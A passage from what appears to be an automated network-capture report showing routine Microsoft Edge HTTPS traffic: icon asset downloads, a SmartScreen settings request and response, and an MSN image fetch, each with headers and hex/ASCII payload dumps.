2024-11-16 12:01:40 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49893	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b18e1dbb-901e-000f-6849-3285f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120139Z-16547b76f7fnlq8chC1DFWxnen00000002d0000000008xt8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49890	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: d5b1f0fb-001e-0028-151f-381fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120139Z-164f84587bfh9nvdhC1DFWmce000000000hg00000000bqtc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49886	4.153.29.52	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoibzhMMzd4UERMY0ZaN3JyTDRVM05uUT09IiwgImhhc2giOiJFQ0FmUDAvRkNwMD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-16 12:01:40 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-16 12:01:40 UTC	302	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-16 12:01:40 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-16 12:01:40 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49892	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 8c1ed240-601e-0033-6adf-37312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120140Z-16547b76f7fmbrhqhC1DFWkds80000000pq0000000004nat Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49894	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8254c623-901e-0069-7c1d-3737ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120140Z-16547b76f7f775p5hC1DFWzdvn0000000pkg00000000736p Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49898	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Sat, 12 Oct 2024 10:59:46 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: b4578376-c868-4b9b-92bb-95c1bda95864 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ8 X-Source-Length: 83046 Content-Length: 83046 Cache-Control: public, max-age=126441 Expires: Sun, 17 Nov 2024 23:09:01 GMT Date: Sat, 16 Nov 2024 12:01:40 GMT Connection: close
2024-11-16 12:01:40 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
